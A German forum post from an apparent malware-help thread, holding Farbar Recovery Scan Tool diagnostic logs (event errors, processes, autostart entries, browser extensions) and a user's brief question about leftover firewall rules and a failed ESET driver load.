FirewallRules: [{38499CD2-9DA3-498B-9A92-69D63F8FCEDE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2BB3242-1D3F-4AD1-9548-0D65A92E5A66}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{74251A41-7445-4E02-8B38-242A5CC687C7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{51DADC6F-501E-4332-9ED7-4C2FBFB3CB02}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1BB1ED51-522E-40FF-9461-EA817B39C2D0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{508E7BA9-A78D-48B5-8C04-CEF9A1EC5888}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe
 

==================== Wiederherstellungspunkte =========================
 

14-04-2017 08:01:07 Windows Update

23-04-2017 05:06:51 Geplanter Prüfpunkt

25-04-2017 05:21:54 JRT Pre-Junkware Removal
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (04/27/2017 08:52:04 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 08:47:43 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 08:47:28 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "c:\program files (x86)\eset\eset online scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:52:22 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:52:08 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Program Files (x86)\ESET\ESET Online Scanner\ESETSmartInstaller.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:51:26 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:51:11 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:51:05 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/27/2017 05:50:59 AM) (Source: SideBySide) (EventID: 78) (User: )

Description: Fehler beim Generieren des Aktivierungskontexts für "C:\Users\Andy\Downloads\esetsmartinstaller_deu.exe". Fehler in Manifest- oder Richtliniendatei "" in Zeile .

Eine für die Anwendung erforderliche Komponentenversion steht in Konflikt mit einer anderen, bereits aktiven Komponentenversion.

In Konflikt stehende Komponenten:.

Komponente 1: C:\Windows\WinSxS\manifests\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_108e4f62dfe5d999.manifest.

Komponente 2: C:\Windows\WinSxS\manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.15063.0_none_583b8639f462029f.manifest.
 

Error: (04/24/2017 01:38:03 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 
 

Systemfehler:

=============

Error: (04/27/2017 05:54:19 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:54:19 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:54:18 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:54:18 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:54:18 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:54:18 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:52:36 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:52:36 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 

Error: (04/27/2017 05:52:36 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "eapihdrv" wurde aufgrund folgenden Fehlers nicht gestartet: 

Der Treiber konnte nicht geladen werden.
 

Error: (04/27/2017 05:52:36 AM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Users\Andy\AppData\Local\Temp\ehdrv.sys
 
 

CodeIntegrity:

===================================

  Date: 2017-04-25 06:19:48.335

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-24 03:33:10.874

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-23 05:01:20.151

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-22 11:08:26.541

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.317

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.101

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:25.899

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:46.529

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.580

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Windows\System32\nvspcap64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.334

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 
 

==================== Speicherinformationen =========================== 
 

Prozessor: AMD FX(tm)-8350 Eight-Core Processor 

Prozentuale Nutzung des RAM: 21%

Installierter physikalischer RAM: 16284.96 MB

Verfügbarer physikalischer RAM: 12753.47 MB

Summe virtueller Speicher: 18716.96 MB

Verfügbarer virtueller Speicher: 14845.3 MB
 

==================== Laufwerke ================================
 

Drive c: () (Fixed) (Total:465.3 GB) (Free:324.68 GB) NTFS ==>[Laufwerk mit Startkomponenten (eingeholt von BCD)]

Drive d: (Samsung SDD) (Fixed) (Total:232.88 GB) (Free:24.92 GB) NTFS

Drive e: (Samsung HDD) (Fixed) (Total:232.88 GB) (Free:32.5 GB) NTFS ==>[System mit Startkomponenten (eingeholt von Laufwerk)]
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: 399BE559)

Partition 1: (Active) - (Size=465.3 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=471 MB) - (Type=27)
 

========================================================

Disk: 1 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 92061219)

Partition 1: (Not Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

========================================================

Disk: 2 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 996E3212)

Partition 1: (Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

==================== Ende von Addition.txt ============================

ich sehe hier gerade, dass in der Firewall noch rules sind von Programmen, die ich bereits deinstalliert habe (Firefox und Apowersoft\Streaming Audio Recorder).
Was hat es mit dem Treiber (ehdrv.sys) konnte nicht geladen werden auf sich? Sehe grade, dass es erst bei diesem FRST Durchlauf kommt. (muss nicht beantwortet werden, frage nur aus Interesse)

FRST.txt:

Code:

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 26-04-2017

durchgeführt von Andy (Administrator) auf ANDREAS-PC (27-04-2017 08:56:12)

Gestartet von C:\Users\Andy\Desktop

Geladene Profile: Andy (Verfügbare Profile: defaultuser0 & Andy)

Platform: Windows 10 Pro Version 1703 (X64) Sprache: Deutsch (Deutschland)

Internet Explorer Version 11 (Standard-Browser: Chrome)

Start-Modus: Normal

Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
 

==================== Prozesse (Nicht auf der Ausnahmeliste) =================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
 

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe

() C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

(DTS, Inc) C:\Program Files\Realtek\Audio\HDA\DTSU2PAuSrv64.exe

() C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe

(Razer Inc.) C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe

() C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

(Microsoft Corporation) C:\Windows\System32\SecurityHealthService.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe

(eVenture Limited) C:\Program Files (x86)\hide.me VPN\hidemesvc.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\NisSrv.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe

(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe

(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe

(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe

(LG Electronics Inc.) C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\OnScreen Control.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe

(TODO: <Company name>) C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook64App.exe

(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe

(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe

(Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe

(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.17022.10311.0_x64__8wekyb3d8bbwe\Video.UI.exe

(Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe

() C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe

(Microsoft Corporation) C:\Windows\System32\smartscreen.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
 

==================== Registry (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
 

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)

HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [8841472 2016-06-17] (Realtek Semiconductor)

HKLM\...\Run: [RtHDVBg_DTS] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1454336 2016-06-17] (Realtek Semiconductor)

HKLM\...\Run: [ShadowPlay] => "C:\WINDOWS\system32\rundll32.exe" C:\WINDOWS\system32\nvspcap64.dll,ShadowPlayOnSystemStart

HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)

HKLM-x32\...\Run: [Razer Synapse] => C:\Program Files (x86)\Razer\Synapse\RzSynapse.exe [596640 2017-03-02] (Razer Inc.)

HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)

HKLM-x32\...\Run: [OnScreen Control] => C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\OnScreenStartUpApp.exe [1785328 2015-12-14] (TODO: <Company name>)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3019552 2017-04-21] (Valve Corporation)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [DAEMON Tools Ultra Agent] => C:\Program Files\DAEMON Tools Ultra\DTAgent.exe [5021888 2016-12-12] (Disc Soft Ltd)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [HP ENVY 4520 series (NET)] => C:\Program Files\HP\HP ENVY 4520 series\Bin\ScanToPCActivationApp.exe [3651080 2015-03-09] (Hewlett-Packard Development Company, LP)

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27545048 2017-03-14] (Skype Technologies S.A.)

IFEO\DisplaySwitch.exe: [Debugger] 

IFEO\taskmgr.exe: [Debugger] 

Startup: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hide.me VPN.lnk [2017-04-24]

ShortcutTarget: hide.me VPN.lnk -> C:\Program Files (x86)\hide.me VPN\Hide.me.exe (eVenture Limited)
 

==================== Internet (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
 

Tcpip\Parameters: [DhcpNameServer] 192.168.2.1

Tcpip\..\Interfaces\{8d9c5742-6be7-44dc-8e04-a12f1c917124}: [DhcpNameServer] 192.168.2.1
 

Internet Explorer:

==================

BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office16\OCHelper.dll [2017-03-14] (Microsoft Corporation)

BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-17] (Oracle Corporation)

BHO: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office16\GROOVEEX.DLL [2017-02-22] (Microsoft Corporation)

BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-17] (Oracle Corporation)

BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\Office16\OCHelper.dll [2015-07-31] (Microsoft Corporation)

BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-17] (Oracle Corporation)

BHO-x32: Microsoft OneDrive for Business Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\Office16\GROOVEEX.DLL [2017-02-22] (Microsoft Corporation)

BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-17] (Oracle Corporation)

Handler: mso-minsb.16 - {3459B272-CC19-4448-86C9-DDC3B4B2FAD3} - C:\Program Files\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler-x32: mso-minsb.16 - {3459B272-CC19-4448-86C9-DDC3B4B2FAD3} - C:\Program Files (x86)\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)

Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\Office16\MSOSB.DLL [2016-11-16] (Microsoft Corporation)
 

FireFox:

========

FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-17] (Oracle Corporation)

FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-17] (Oracle Corporation)

FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)

FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office16\NPSPWRAP.DLL [2015-07-31] (Microsoft Corporation)

FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-17] (Oracle Corporation)

FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-17] (Oracle Corporation)

FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [Keine Datei]

FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)

FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office16\NPSPWRAP.DLL [2015-07-31] (Microsoft Corporation)

FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-03-17] (NVIDIA Corporation)

FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-03-17] (NVIDIA Corporation)

FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.32.7\npGoogleUpdate3.dll [2017-04-22] (Google Inc.)

FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.32.7\npGoogleUpdate3.dll [2017-04-22] (Google Inc.)

FF Plugin-x32: @videolan.org/vlc,version=2.2.4 -> C:\Program Files (x86)\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
 

Chrome: 

=======

CHR Session Restore: Default -> ist aktiviert.

CHR Profile: C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default [2017-04-27]

CHR Extension: (Google Präsentationen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2017-04-22]

CHR Extension: (Google Docs) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2017-04-22]

CHR Extension: (Google Drive) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2017-04-22]

CHR Extension: (YouTube) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2017-04-22]

CHR Extension: (uBlock Origin) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2017-04-22]

CHR Extension: (Google Tabellen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2017-04-22]

CHR Extension: (Google Docs Offline) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2017-04-22]

CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-04-22]

CHR Extension: (uMatrix) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\ogfcmafjalglgifnmanfmnieipoejdcf [2017-04-22]

CHR Extension: (Google Mail) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2017-04-22]

CHR Extension: (Chrome Media Router) - C:\Users\Andy\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-04-25]
 

==================== Dienste (Nicht auf der Ausnahmeliste) ====================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

